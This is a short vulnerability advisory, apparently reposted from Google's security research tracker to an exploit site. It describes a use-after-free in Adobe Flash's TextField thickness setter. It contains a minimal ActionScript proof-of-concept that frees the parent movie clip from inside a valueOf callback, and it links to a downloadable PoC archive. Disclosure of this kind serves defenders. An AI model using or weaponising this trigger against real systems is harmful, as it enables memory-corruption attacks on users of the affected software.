Adobe Flash TextField.thickness Setter - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=587
 
There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.
 
A minimal PoC is as follows:
 
var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.thickness = {valueOf : func};
 
function func(){
    
        if(times == 0){
          times++;
          return 0;
        }
 
    mc.removeMovieClip();
 
        // Fix heap here
 
    return 0;
     
    }
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39045.zip

#  0day.today [2018-03-20]  #